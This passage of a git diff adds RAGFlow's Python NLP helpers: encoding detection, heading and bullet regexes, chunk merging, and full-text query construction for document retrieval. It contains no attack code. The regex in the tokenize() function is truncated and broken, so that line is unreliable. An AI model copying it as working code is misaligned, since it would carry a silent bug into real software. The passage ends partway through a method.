_FACTORY_NAME = "DeerAPI" + + def __init__(self, key, model_name, base_url="https://api.deerapi.com/v1", **kwargs): + if not base_url: + base_url = "https://api.deerapi.com/v1" + super().__init__(key, model_name, base_url, **kwargs) diff --git a/rag/nlp/__init__.py b/rag/nlp/__init__.py new file mode 100644 index 0000000..7362986 --- /dev/null +++ b/rag/nlp/__init__.py @@ -0,0 +1,859 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import random +from collections import Counter + +from rag.utils import num_tokens_from_string +from . import rag_tokenizer +import re +import copy +import roman_numbers as r +from word2number import w2n +from cn2an import cn2an +from PIL import Image + +import chardet + +all_codecs = [ + 'utf-8', 'gb2312', 'gbk', 'utf_16', 'ascii', 'big5', 'big5hkscs', + 'cp037', 'cp273', 'cp424', 'cp437', + 'cp500', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp856', 'cp857', + 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp864', 'cp865', 'cp866', 'cp869', + 'cp874', 'cp875', 'cp932', 'cp949', 'cp950', 'cp1006', 'cp1026', 'cp1125', + 'cp1140', 'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', 'cp1256', + 'cp1257', 'cp1258', 'euc_jp', 'euc_jis_2004', 'euc_jisx0213', 'euc_kr', + 'gb18030', 'hz', 'iso2022_jp', 'iso2022_jp_1', 'iso2022_jp_2', + 'iso2022_jp_2004', 'iso2022_jp_3', 'iso2022_jp_ext', 'iso2022_kr', 'latin_1', + 'iso8859_2', 'iso8859_3', 'iso8859_4', 'iso8859_5', 'iso8859_6', 'iso8859_7', + 'iso8859_8', 'iso8859_9', 'iso8859_10', 'iso8859_11', 'iso8859_13', + 'iso8859_14', 'iso8859_15', 'iso8859_16', 'johab', 'koi8_r', 'koi8_t', 'koi8_u', + 'kz1048', 'mac_cyrillic', 'mac_greek', 'mac_iceland', 'mac_latin2', 'mac_roman', + 'mac_turkish', 'ptcp154', 'shift_jis', 'shift_jis_2004', 'shift_jisx0213', + 'utf_32', 'utf_32_be', 'utf_32_le', 'utf_16_be', 'utf_16_le', 'utf_7', 'windows-1250', 'windows-1251', + 'windows-1252', 'windows-1253', 'windows-1254', 'windows-1255', 'windows-1256', + 'windows-1257', 'windows-1258', 'latin-2' +] + + +def find_codec(blob): + detected = chardet.detect(blob[:1024]) + if detected['confidence'] > 0.5: + if detected['encoding'] == "ascii": + return "utf-8" + + for c in all_codecs: + try: + blob[:1024].decode(c) + return c + except Exception: + pass + try: + blob.decode(c) + return c + except Exception: + pass + + return "utf-8" + + +QUESTION_PATTERN = [ + r"第([零一二三四五六七八九十百0-9]+)问", + r"第([零一二三四五六七八九十百0-9]+)条", + r"[\(（]([零一二三四五六七八九十百]+)[\)）]", + r"第([0-9]+)问", + r"第([0-9]+)条", + r"([0-9]{1,2})[\. 、]", + r"([零一二三四五六七八九十百]+)[ 、]", + r"[\(（]([0-9]{1,2})[\)）]", + r"QUESTION (ONE|TWO|THREE|FOUR|FIVE|SIX|SEVEN|EIGHT|NINE|TEN)", + r"QUESTION (I+V?|VI*|XI|IX|X)", + r"QUESTION ([0-9]+)", +] + + +def has_qbullet(reg, box, last_box, last_index, last_bull, bull_x0_list): + section, last_section = box['text'], last_box['text'] + q_reg = r'(\w|\W)*?(?:？|\?|\n|$)+' + full_reg = reg + q_reg + has_bull = re.match(full_reg, section) + index_str = None + if has_bull: + if 'x0' not in last_box: + last_box['x0'] = box['x0'] + if 'top' not in last_box: + last_box['top'] = box['top'] + if last_bull and box['x0'] - last_box['x0'] > 10: + return None, last_index + if not last_bull and box['x0'] >= last_box['x0'] and box['top'] - last_box['top'] < 20: + return None, last_index + avg_bull_x0 = 0 + if bull_x0_list: + avg_bull_x0 = sum(bull_x0_list) / len(bull_x0_list) + else: + avg_bull_x0 = box['x0'] + if box['x0'] - avg_bull_x0 > 10: + return None, last_index + index_str = has_bull.group(1) + index = index_int(index_str) + if last_section[-1] == ':' or last_section[-1] == '：': + return None, last_index + if not last_index or index >= last_index: + bull_x0_list.append(box['x0']) + return has_bull, index + if section[-1] == '?' or section[-1] == '？': + bull_x0_list.append(box['x0']) + return has_bull, index + if box['layout_type'] == 'title': + bull_x0_list.append(box['x0']) + return has_bull, index + pure_section = section.lstrip(re.match(reg, section).group()).lower() + ask_reg = r'(what|when|where|how|why|which|who|whose|为什么|为啥|哪)' + if re.match(ask_reg, pure_section): + bull_x0_list.append(box['x0']) + return has_bull, index + return None, last_index + + +def index_int(index_str): + res = -1 + try: + res = int(index_str) + except ValueError: + try: + res = w2n.word_to_num(index_str) + except ValueError: + try: + res = cn2an(index_str) + except ValueError: + try: + res = r.number(index_str) + except ValueError: + return -1 + return res + + +def qbullets_category(sections): + global QUESTION_PATTERN + hits = [0] * len(QUESTION_PATTERN) + for i, pro in enumerate(QUESTION_PATTERN): + for sec in sections: + if re.match(pro, sec) and not not_bullet(sec): + hits[i] += 1 + break + maxium = 0 + res = -1 + for i, h in enumerate(hits): + if h <= maxium: + continue + res = i + maxium = h + return res, QUESTION_PATTERN[res] + + +BULLET_PATTERN = [[ + r"第[零一二三四五六七八九十百0-9]+(分?编|部分)", + r"第[零一二三四五六七八九十百0-9]+章", + r"第[零一二三四五六七八九十百0-9]+节", + r"第[零一二三四五六七八九十百0-9]+条", + r"[\(（][零一二三四五六七八九十百]+[\)）]", +], [ + r"第[0-9]+章", + r"第[0-9]+节", + r"[0-9]{,2}[\. 、]", + r"[0-9]{,2}\.[0-9]{,2}[^a-zA-Z/%~-]", + r"[0-9]{,2}\.[0-9]{,2}\.[0-9]{,2}", + r"[0-9]{,2}\.[0-9]{,2}\.[0-9]{,2}\.[0-9]{,2}", +], [ + r"第[零一二三四五六七八九十百0-9]+章", + r"第[零一二三四五六七八九十百0-9]+节", + r"[零一二三四五六七八九十百]+[ 、]", + r"[\(（][零一二三四五六七八九十百]+[\)）]", + r"[\(（][0-9]{,2}[\)）]", +], [ + r"PART (ONE|TWO|THREE|FOUR|FIVE|SIX|SEVEN|EIGHT|NINE|TEN)", + r"Chapter (I+V?|VI*|XI|IX|X)", + r"Section [0-9]+", + r"Article [0-9]+" +], [ + r"^#[^#]", + r"^##[^#]", + r"^###.*", + r"^####.*", + r"^#####.*", + r"^######.*", +] +] + + +def random_choices(arr, k): + k = min(len(arr), k) + return random.choices(arr, k=k) + + +def not_bullet(line): + patt = [ + r"0", r"[0-9]+ +[0-9~个只-]", r"[0-9]+\.{2,}" + ] + return any([re.match(r, line) for r in patt]) + + +def bullets_category(sections): + global BULLET_PATTERN + hits = [0] * len(BULLET_PATTERN) + for i, pro in enumerate(BULLET_PATTERN): + for sec in sections: + sec = sec.strip() + for p in pro: + if re.match(p, sec) and not not_bullet(sec): + hits[i] += 1 + break + maxium = 0 + res = -1 + for i, h in enumerate(hits): + if h <= maxium: + continue + res = i + maxium = h + return res + + +def is_english(texts): + if not texts: + return False + + pattern = re.compile(r"[`a-zA-Z0-9\s.,':;/\"?<>!\(\)\-]") + + if isinstance(texts, str): + texts = list(texts) + elif isinstance(texts, list): + texts = [t for t in texts if isinstance(t, str) and t.strip()] + else: + return False + + if not texts: + return False + + eng = sum(1 for t in texts if pattern.fullmatch(t.strip())) + return (eng / len(texts)) > 0.8 + + +def is_chinese(text): + if not text: + return False + chinese = 0 + for ch in text: + if '\u4e00' <= ch <= '\u9fff': + chinese += 1 + if chinese / len(text) > 0.2: + return True + return False + + +def tokenize(d, t, eng): + d["content_with_weight"] = t + t = re.sub(r"]{0,12})?>", " ", t) + d["content_ltks"] = rag_tokenizer.tokenize(t) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + + +def tokenize_chunks(chunks, doc, eng, pdf_parser=None): + res = [] + # wrap up as es documents + for ii, ck in enumerate(chunks): + if len(ck.strip()) == 0: + continue + logging.debug("-- {}".format(ck)) + d = copy.deepcopy(doc) + if pdf_parser: + try: + d["image"], poss = pdf_parser.crop(ck, need_position=True) + add_positions(d, poss) + ck = pdf_parser.remove_tag(ck) + except NotImplementedError: + pass + else: + add_positions(d, [[ii]*5]) + tokenize(d, ck, eng) + res.append(d) + return res + + +def tokenize_chunks_with_images(chunks, doc, eng, images): + res = [] + # wrap up as es documents + for ii, (ck, image) in enumerate(zip(chunks, images)): + if len(ck.strip()) == 0: + continue + logging.debug("-- {}".format(ck)) + d = copy.deepcopy(doc) + d["image"] = image + add_positions(d, [[ii]*5]) + tokenize(d, ck, eng) + res.append(d) + return res + + +def tokenize_table(tbls, doc, eng, batch_size=10): + res = [] + # add tables + for (img, rows), poss in tbls: + if not rows: + continue + if isinstance(rows, str): + d = copy.deepcopy(doc) + tokenize(d, rows, eng) + d["content_with_weight"] = rows + if img: + d["image"] = img + d["doc_type_kwd"] = "image" + if poss: + add_positions(d, poss) + res.append(d) + continue + de = "; " if eng else "； " + for i in range(0, len(rows), batch_size): + d = copy.deepcopy(doc) + r = de.join(rows[i:i + batch_size]) + tokenize(d, r, eng) + if img: + d["image"] = img + d["doc_type_kwd"] = "image" + add_positions(d, poss) + res.append(d) + return res + + +def add_positions(d, poss): + if not poss: + return + page_num_int = [] + position_int = [] + top_int = [] + for pn, left, right, top, bottom in poss: + page_num_int.append(int(pn + 1)) + top_int.append(int(top)) + position_int.append((int(pn + 1), int(left), int(right), int(top), int(bottom))) + d["page_num_int"] = page_num_int + d["position_int"] = position_int + d["top_int"] = top_int + + +def remove_contents_table(sections, eng=False): + i = 0 + while i < len(sections): + def get(i): + nonlocal sections + return (sections[i] if isinstance(sections[i], + type("")) else sections[i][0]).strip() + + if not re.match(r"(contents|目录|目次|table of contents|致谢|acknowledge)$", + re.sub(r"( | |\u3000)+", "", get(i).split("@@")[0], flags=re.IGNORECASE)): + i += 1 + continue + sections.pop(i) + if i >= len(sections): + break + prefix = get(i)[:3] if not eng else " ".join(get(i).split()[:2]) + while not prefix: + sections.pop(i) + if i >= len(sections): + break + prefix = get(i)[:3] if not eng else " ".join(get(i).split()[:2]) + sections.pop(i) + if i >= len(sections) or not prefix: + break + for j in range(i, min(i + 128, len(sections))): + if not re.match(prefix, get(j)): + continue + for _ in range(i, j): + sections.pop(i) + break + + +def make_colon_as_title(sections): + if not sections: + return [] + if isinstance(sections[0], type("")): + return sections + i = 0 + while i < len(sections): + txt, layout = sections[i] + i += 1 + txt = txt.split("@")[0].strip() + if not txt: + continue + if txt[-1] not in ":：": + continue + txt = txt[::-1] + arr = re.split(r"([。？！!?;；]| \.)", txt) + if len(arr) < 2 or len(arr[1]) < 32: + continue + sections.insert(i - 1, (arr[0][::-1], "title")) + i += 1 + + +def title_frequency(bull, sections): + bullets_size = len(BULLET_PATTERN[bull]) + levels = [bullets_size + 1 for _ in range(len(sections))] + if not sections or bull < 0: + return bullets_size + 1, levels + + for i, (txt, layout) in enumerate(sections): + for j, p in enumerate(BULLET_PATTERN[bull]): + if re.match(p, txt.strip()) and not not_bullet(txt): + levels[i] = j + break + else: + if re.search(r"(title|head)", layout) and not not_title(txt.split("@")[0]): + levels[i] = bullets_size + most_level = bullets_size + 1 + for level, c in sorted(Counter(levels).items(), key=lambda x: x[1] * -1): + if level <= bullets_size: + most_level = level + break + return most_level, levels + + +def not_title(txt): + if re.match(r"第[零一二三四五六七八九十百0-9]+条", txt): + return False + if len(txt.split()) > 12 or (txt.find(" ") < 0 and len(txt) >= 32): + return True + return re.search(r"[,;，。；！!]", txt) + +def tree_merge(bull, sections, depth): + + if not sections or bull < 0: + return sections + if isinstance(sections[0], type("")): + sections = [(s, "") for s in sections] + + # filter out position information in pdf sections + sections = [(t, o) for t, o in sections if + t and len(t.split("@")[0].strip()) > 1 and not re.match(r"[0-9]+$", t.split("@")[0].strip())] + + def get_level(bull, section): + text, layout = section + text = re.sub(r"\u3000", " ", text).strip() + + for i, title in enumerate(BULLET_PATTERN[bull]): + if re.match(title, text.strip()): + return i+1, text + else: + if re.search(r"(title|head)", layout) and not not_title(text): + return len(BULLET_PATTERN[bull])+1, text + else: + return len(BULLET_PATTERN[bull])+2, text + + level_set = set() + lines = [] + for section in sections: + level, text = get_level(bull, section) + + if not text.strip("\n"): + continue + + lines.append((level, text)) + level_set.add(level) + + sorted_levels = sorted(list(level_set)) + + if depth <= len(sorted_levels): + target_level = sorted_levels[depth - 1] + else: + target_level = sorted_levels[-1] + + if target_level == len(BULLET_PATTERN[bull]) + 2: + target_level = sorted_levels[-2] if len(sorted_levels) > 1 else sorted_levels[0] + + root = Node(level=0, depth=target_level, texts=[]) + root.build_tree(lines) + + return [("\n").join(element) for element in root.get_tree() if element] + +def hierarchical_merge(bull, sections, depth): + + if not sections or bull < 0: + return [] + if isinstance(sections[0], type("")): + sections = [(s, "") for s in sections] + sections = [(t, o) for t, o in sections if + t and len(t.split("@")[0].strip()) > 1 and not re.match(r"[0-9]+$", t.split("@")[0].strip())] + bullets_size = len(BULLET_PATTERN[bull]) + levels = [[] for _ in range(bullets_size + 2)] + + for i, (txt, layout) in enumerate(sections): + for j, p in enumerate(BULLET_PATTERN[bull]): + if re.match(p, txt.strip()): + levels[j].append(i) + break + else: + if re.search(r"(title|head)", layout) and not not_title(txt): + levels[bullets_size].append(i) + else: + levels[bullets_size + 1].append(i) + sections = [t for t, _ in sections] + + # for s in sections: print("--", s) + + def binary_search(arr, target): + if not arr: + return -1 + if target > arr[-1]: + return len(arr) - 1 + if target < arr[0]: + return -1 + s, e = 0, len(arr) + while e - s > 1: + i = (e + s) // 2 + if target > arr[i]: + s = i + continue + elif target < arr[i]: + e = i + continue + else: + assert False + return s + + cks = [] + readed = [False] * len(sections) + levels = levels[::-1] + for i, arr in enumerate(levels[:depth]): + for j in arr: + if readed[j]: + continue + readed[j] = True + cks.append([j]) + if i + 1 == len(levels) - 1: + continue + for ii in range(i + 1, len(levels)): + jj = binary_search(levels[ii], j) + if jj < 0: + continue + if levels[ii][jj] > cks[-1][-1]: + cks[-1].pop(-1) + cks[-1].append(levels[ii][jj]) + for ii in cks[-1]: + readed[ii] = True + + if not cks: + return cks + + for i in range(len(cks)): + cks[i] = [sections[j] for j in cks[i][::-1]] + logging.debug("\n* ".join(cks[i])) + + res = [[]] + num = [0] + for ck in cks: + if len(ck) == 1: + n = num_tokens_from_string(re.sub(r"@@[0-9]+.*", "", ck[0])) + if n + num[-1] < 218: + res[-1].append(ck[0]) + num[-1] += n + continue + res.append(ck) + num.append(n) + continue + res.append(ck) + num.append(218) + + return res + + +def naive_merge(sections: str | list, chunk_token_num=128, delimiter="\n。；！？", overlapped_percent=0): + from deepdoc.parser.pdf_parser import RAGFlowPdfParser + if not sections: + return [] + if isinstance(sections, str): + sections = [sections] + if isinstance(sections[0], str): + sections = [(s, "") for s in sections] + cks = [""] + tk_nums = [0] + + def add_chunk(t, pos): + nonlocal cks, tk_nums, delimiter + tnum = num_tokens_from_string(t) + if not pos: + pos = "" + if tnum < 8: + pos = "" + # Ensure that the length of the merged chunk does not exceed chunk_token_num + if cks[-1] == "" or tk_nums[-1] > chunk_token_num * (100 - overlapped_percent)/100.: + if cks: + overlapped = RAGFlowPdfParser.remove_tag(cks[-1]) + t = overlapped[int(len(overlapped)*(100-overlapped_percent)/100.):] + t + if t.find(pos) < 0: + t += pos + cks.append(t) + tk_nums.append(tnum) + else: + if cks[-1].find(pos) < 0: + t += pos + cks[-1] += t + tk_nums[-1] += tnum + + dels = get_delimiters(delimiter) + for sec, pos in sections: + if num_tokens_from_string(sec) < chunk_token_num: + add_chunk(sec, pos) + continue + split_sec = re.split(r"(%s)" % dels, sec, flags=re.DOTALL) + for sub_sec in split_sec: + if re.match(f"^{dels}$", sub_sec): + continue + add_chunk(sub_sec, pos) + + return cks + + +def naive_merge_with_images(texts, images, chunk_token_num=128, delimiter="\n。；！？", overlapped_percent=0): + from deepdoc.parser.pdf_parser import RAGFlowPdfParser + if not texts or len(texts) != len(images): + return [], [] + cks = [""] + result_images = [None] + tk_nums = [0] + + def add_chunk(t, image, pos=""): + nonlocal cks, result_images, tk_nums, delimiter + tnum = num_tokens_from_string(t) + if not pos: + pos = "" + if tnum < 8: + pos = "" + # Ensure that the length of the merged chunk does not exceed chunk_token_num + if cks[-1] == "" or tk_nums[-1] > chunk_token_num * (100 - overlapped_percent)/100.: + if cks: + overlapped = RAGFlowPdfParser.remove_tag(cks[-1]) + t = overlapped[int(len(overlapped)*(100-overlapped_percent)/100.):] + t + if t.find(pos) < 0: + t += pos + cks.append(t) + result_images.append(image) + tk_nums.append(tnum) + else: + if cks[-1].find(pos) < 0: + t += pos + cks[-1] += t + if result_images[-1] is None: + result_images[-1] = image + else: + result_images[-1] = concat_img(result_images[-1], image) + tk_nums[-1] += tnum + + dels = get_delimiters(delimiter) + for text, image in zip(texts, images): + # if text is tuple, unpack it + if isinstance(text, tuple): + text_str = text[0] + text_pos = text[1] if len(text) > 1 else "" + split_sec = re.split(r"(%s)" % dels, text_str) + for sub_sec in split_sec: + if re.match(f"^{dels}$", sub_sec): + continue + add_chunk(sub_sec, image, text_pos) + else: + split_sec = re.split(r"(%s)" % dels, text) + for sub_sec in split_sec: + if re.match(f"^{dels}$", sub_sec): + continue + add_chunk(sub_sec, image) + + return cks, result_images + +def docx_question_level(p, bull=-1): + txt = re.sub(r"\u3000", " ", p.text).strip() + if p.style.name.startswith('Heading'): + return int(p.style.name.split(' ')[-1]), txt + else: + if bull < 0: + return 0, txt + for j, title in enumerate(BULLET_PATTERN[bull]): + if re.match(title, txt): + return j + 1, txt + return len(BULLET_PATTERN[bull])+1, txt + + +def concat_img(img1, img2): + if img1 and not img2: + return img1 + if not img1 and img2: + return img2 + if not img1 and not img2: + return None + + if img1 is img2: + return img1 + + if isinstance(img1, Image.Image) and isinstance(img2, Image.Image): + pixel_data1 = img1.tobytes() + pixel_data2 = img2.tobytes() + if pixel_data1 == pixel_data2: + return img1 + + width1, height1 = img1.size + width2, height2 = img2.size + + new_width = max(width1, width2) + new_height = height1 + height2 + new_image = Image.new('RGB', (new_width, new_height)) + + new_image.paste(img1, (0, 0)) + new_image.paste(img2, (0, height1)) + return new_image + + +def naive_merge_docx(sections, chunk_token_num=128, delimiter="\n。；！？"): + if not sections: + return [], [] + + cks = [""] + images = [None] + tk_nums = [0] + + def add_chunk(t, image, pos=""): + nonlocal cks, tk_nums, delimiter + tnum = num_tokens_from_string(t) + if tnum < 8: + pos = "" + if cks[-1] == "" or tk_nums[-1] > chunk_token_num: + if t.find(pos) < 0: + t += pos + cks.append(t) + images.append(image) + tk_nums.append(tnum) + else: + if cks[-1].find(pos) < 0: + t += pos + cks[-1] += t + images[-1] = concat_img(images[-1], image) + tk_nums[-1] += tnum + + dels = get_delimiters(delimiter) + line = "" + for sec, image in sections: + if not image: + line += sec + "\n" + continue + split_sec = re.split(r"(%s)" % dels, line + sec) + for sub_sec in split_sec: + if re.match(f"^{dels}$", sub_sec): + continue + add_chunk(sub_sec, image,"") + line = "" + + if line: + split_sec = re.split(r"(%s)" % dels, line) + for sub_sec in split_sec: + if re.match(f"^{dels}$", sub_sec): + continue + add_chunk(sub_sec, image,"") + + return cks, images + + +def extract_between(text: str, start_tag: str, end_tag: str) -> list[str]: + pattern = re.escape(start_tag) + r"(.*?)" + re.escape(end_tag) + return re.findall(pattern, text, flags=re.DOTALL) + + +def get_delimiters(delimiters: str): + dels = [] + s = 0 + for m in re.finditer(r"`([^`]+)`", delimiters, re.I): + f, t = m.span() + dels.append(m.group(1)) + dels.extend(list(delimiters[s: f])) + s = t + if s < len(delimiters): + dels.extend(list(delimiters[s:])) + + dels.sort(key=lambda x: -len(x)) + dels = [re.escape(d) for d in dels if d] + dels = [d for d in dels if d] + dels_pattern = "|".join(dels) + + return dels_pattern + +class Node: + def __init__(self, level, depth=-1, texts=None): + self.level = level + self.depth = depth + self.texts = texts if texts is not None else [] # 存放内容 + self.children = [] # 子节点 + + def add_child(self, child_node): + self.children.append(child_node) + + def get_children(self): + return self.children + + def get_level(self): + return self.level + + def get_texts(self): + return self.texts + + def set_texts(self, texts): + self.texts = texts + + def add_text(self, text): + self.texts.append(text) + + def clear_text(self): + self.texts = [] + + def __repr__(self): + return f"Node(level={self.level}, texts={self.texts}, children={len(self.children)})" + + def build_tree(self, lines): + stack = [self] + for line in lines: + level, text = line + node = Node(level=level, texts=[text]) + + if level <= self.depth or self.depth == -1: + while stack and level <= stack[-1].get_level(): + stack.pop() + + stack[-1].add_child(node) + stack.append(node) + else: + stack[-1].add_text(text) + return self + + def get_tree(self): + tree_list = [] + self._dfs(self, tree_list, 0, []) + return tree_list + + def _dfs(self, node, tree_list, current_depth, titles): + + if node.get_texts(): + if 0 < node.get_level() < self.depth: + titles.extend(node.get_texts()) + else: + combined_text = ["\n".join(titles + node.get_texts())] + tree_list.append(combined_text) + + + for child in node.get_children(): + self._dfs(child, tree_list, current_depth + 1, titles.copy()) diff --git a/rag/nlp/query.py b/rag/nlp/query.py new file mode 100644 index 0000000..68d2d29 --- /dev/null +++ b/rag/nlp/query.py @@ -0,0 +1,277 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import json +import re +from collections import defaultdict + +from rag.utils.doc_store_conn import MatchTextExpr +from rag.nlp import rag_tokenizer, term_weight, synonym + + +class FulltextQueryer: + def __init__(self): + self.tw = term_weight.Dealer() + self.syn = synonym.Dealer() + self.query_fields = [ + "title_tks^10", + "title_sm_tks^5", + "important_kwd^30", + "important_tks^20", + "question_tks^20", + "content_ltks^2", + "content_sm_ltks", + ] + + @staticmethod + def subSpecialChar(line): + return re.sub(r"([:\{\}/\[\]\-\*\"\(\)\|\+~\^])", r"\\\1", line).strip() + + @staticmethod + def isChinese(line): + arr = re.split(r"[ \t]+", line) + if len(arr) <= 3: + return True + e = 0 + for t in arr: + if not re.match(r"[a-zA-Z]+$", t): + e += 1 + return e * 1.0 / len(arr) >= 0.7 + + @staticmethod + def rmWWW(txt): + patts = [ + ( + r"是*(怎么办|什么样的|哪家|一下|那家|请问|啥样|咋样了|什么时候|何时|何地|何人|是否|是不是|多少|哪里|怎么|哪儿|怎么样|如何|哪些|是啥|啥是|啊|吗|呢|吧|咋|什么|有没有|呀|谁|哪位|哪个)是*", + "", + ), + (r"(^| )(what|who|how|which|where|why)('re|'s)? ", " "), + ( + r"(^| )('s|'re|is|are|were|was|do|does|did|don't|doesn't|didn't|has|have|be|there|you|me|your|my|mine|just|please|may|i|should|would|wouldn't|will|won't|done|go|for|with|so|the|a|an|by|i'm|it's|he's|she's|they|they're|you're|as|by|on|in|at|up|out|down|of|to|or|and|if) ", + " ") + ] + otxt = txt + for r, p in patts: + txt = re.sub(r, p, txt, flags=re.IGNORECASE) + if not txt: + txt = otxt + return txt + + @staticmethod + def add_space_between_eng_zh(txt): + # (ENG/ENG+NUM) + ZH + txt = re.sub(r'([A-Za-z]+[0-9]+)([\u4e00-\u9fa5]+)', r'\1 \2', txt) + # ENG + ZH + txt = re.sub(r'([A-Za-z])([\u4e00-\u9fa5]+)', r'\1 \2', txt) + # ZH + (ENG/ENG+NUM) + txt = re.sub(r'([\u4e00-\u9fa5]+)([A-Za-z]+[0-9]+)', r'\1 \2', txt) + txt = re.sub(r'([\u4e00-\u9fa5]+)([A-Za-z])', r'\1 \2', txt) + return txt + + def question(self, txt, tbl="qa", min_match: float = 0.6): + txt = FulltextQueryer.add_space_between_eng_zh(txt) + txt = re.sub( + r"[ :|\r\n\t,，。？?/`!！&^%%()\[\]{}<>]+", + " ", + rag_tokenizer.tradi2simp(rag_tokenizer.strQ2B(txt.lower())), + ).strip() + otxt = txt + txt = FulltextQueryer.rmWWW(txt) + + if not self.isChinese(txt): + txt = FulltextQueryer.rmWWW(txt) + tks = rag_tokenizer.tokenize(txt).split() + keywords = [t for t in tks if t] + tks_w = self.tw.weights(tks, preprocess=False) + tks_w = [(re.sub(r"[ \\\"'^]", "", tk), w) for tk, w in tks_w] + tks_w = [(re.sub(r"^[a-z0-9]$", "", tk), w) for tk, w in tks_w if tk] + tks_w = [(re.sub(r"^[\+-]", "", tk), w) for tk, w in tks_w if tk] + tks_w = [(tk.strip(), w) for tk, w in tks_w if tk.strip()] + syns = [] + for tk, w in tks_w[:256]: + syn = self.syn.lookup(tk) + syn = rag_tokenizer.tokenize(" ".join(syn)).split() + keywords.extend(syn) + syn = ["\"{}\"^{:.4f}".format(s, w / 4.) for s in syn if s.strip()] + syns.append(" ".join(syn)) + + q = ["({}^{:.4f}".format(tk, w) + " {})".format(syn) for (tk, w), syn in zip(tks_w, syns) if + tk and not re.match(r"[.^+\(\)-]", tk)] + for i in range(1, len(tks_w)): + left, right = tks_w[i - 1][0].strip(), tks_w[i][0].strip() + if not left or not right: + continue + q.append( + '"%s %s"^%.4f' + % ( + tks_w[i - 1][0], + tks_w[i][0], + max(tks_w[i - 1][1], tks_w[i][1]) * 2, + ) + ) + if not q: + q.append(txt) + query = " ".join(q) + return MatchTextExpr( + self.query_fields, query, 100 + ), keywords + + def need_fine_grained_tokenize(tk): + if len(tk) < 3: + return False + if re.match(r"[0-9a-z\.\+#_\*-]+$", tk): + return False + return True + + txt = FulltextQueryer.rmWWW(txt) + qs, keywords = [], [] + for tt in self.tw.split(txt)[:256]: # .split(): + if not tt: + continue + keywords.append(tt) + twts = self.tw.weights([tt]) + syns = self.syn.lookup(tt) + if syns and len(keywords) < 32: + keywords.extend(syns) + logging.debug(json.dumps(twts, ensure_ascii=False)) + tms = [] + for tk, w in sorted(twts, key=lambda x: x[1] * -1): + sm = ( + rag_tokenizer.fine_grained_tokenize(tk).split() + if need_fine_grained_tokenize(tk) + else [] + ) + sm = [ + re.sub( + r"[ ,\./;'\[\]\\`~!@#$%\^&\*\(\)=\+_<>\?:\"\{\}\|，。；‘’【】、！￥……（）——《》？：“”-]+", + "", + m, + ) + for m in sm + ] + sm = [FulltextQueryer.subSpecialChar(m) for m in sm if len(m) > 1] + sm = [m for m in sm if len(m) > 1] + + if len(keywords) < 32: + keywords.append(re.sub(r"[ \\\"']+", "", tk)) + keywords.extend(sm) + + tk_syns = self.syn.lookup(tk) + tk_syns = [FulltextQueryer.subSpecialChar(s) for s in tk_syns] + if len(keywords) < 32: + keywords.extend([s for s in tk_syns if s]) + tk_syns = [rag_tokenizer.fine_grained_tokenize(s) for s in tk_syns if s] + tk_syns = [f"\"{s}\"" if s.find(" ") > 0 else s for s in tk_syns] + + if len(keywords) >= 32: + break + + tk = FulltextQueryer.subSpecialChar(tk) + if tk.find(" ") > 0: + tk = '"%s"' % tk + if tk_syns: + tk = f"({tk} OR (%s)^0.2)" % " ".join(tk_syns) + if sm: + tk = f'{tk} OR "%s" OR ("%s"~2)^0.5' % (" ".join(sm), " ".join(sm)) + if tk.strip(): + tms.append((tk, w)) + + tms = " ".join([f"({t})^{w}" for t, w in tms]) + + if len(twts) > 1: + tms += ' ("%s"~2)^1.5' % rag_tokenizer.tokenize(tt) + + syns = " OR ".join( + [ + '"%s"' + % rag_tokenizer.tokenize(FulltextQueryer.subSpecialChar(s)) + for s in syns + ] + ) + if syns and tms: + tms = f"({tms})^5 OR ({syns})^0.7" + + qs.append(tms) + + if qs: + query = " OR ".join([f"({t})" for t in qs if t]) + if not query: + query = otxt + return MatchTextExpr( + self.query_fields, query, 100, {"minimum_should_match": min_match} + ), keywords + return None, keywords + + def hybrid_similarity(self, avec, bvecs, atks, btkss, tkweight=0.3, vtweight=0.7): + from sklearn.metrics.pairwise import cosine_similarity as CosineSimilarity + import numpy as np + + sims = CosineSimilarity([avec], bvecs) + tksim = self.token_similarity(atks, btkss) + if np.sum(sims[0]) == 0: + return np.array(tksim), tksim, sims[0] + return np.array(sims[0]) * vtweight + np.array(tksim) * tkweight, tksim, sims[0] + + def token_similarity(self, atks, btkss): + def toDict(tks): + if isinstance(tks, str): + tks = tks.split() + d = defaultdict(int) + wts = self.tw.weights(tks, preprocess=False) + for i, (t, c) in enumerate(wts): + d[t] += c + return d + + atks = toDict(atks) + btkss = [toDict(tks) for tks in btkss] + return [self.similarity(atks, btks) for btks in btkss] + + def similarity(self, qtwt, dtwt): + if isinstance(dtwt, type("")): + dtwt = {t: w for t, w in self.tw.weights(self.tw.split(dtwt), preprocess=False)} + if isinstance(qtwt, type("")): + qtwt = {t: w for t, w in self.tw.weights(self.tw.split(qtwt), preprocess=False)} + s = 1e-9 + for k, v in qtwt.items(): + if k in dtwt: + s += v #* dtwt[k] + q = 1e-9 + for k, v in qtwt.items(): + q += v #* v + return s/q #math.sqrt(3. * (s / q / math.log10( len(dtwt.keys()) + 512 ))) + + def paragraph(self, content_tks: str, keywords: list = [], keywords_topn=30): + if isinstance(content_tks, str): + content_tks = [c.strip() for c in content_tks.strip() if c.strip()] + tks_w = self.tw.weights(content_tks, preprocess=False) + + keywords = [f'"{k.strip()}"' for k in keywords] + for tk, w in sorted(tks_w, key=lambda x: x[1] * -1)[:keywords_topn]: 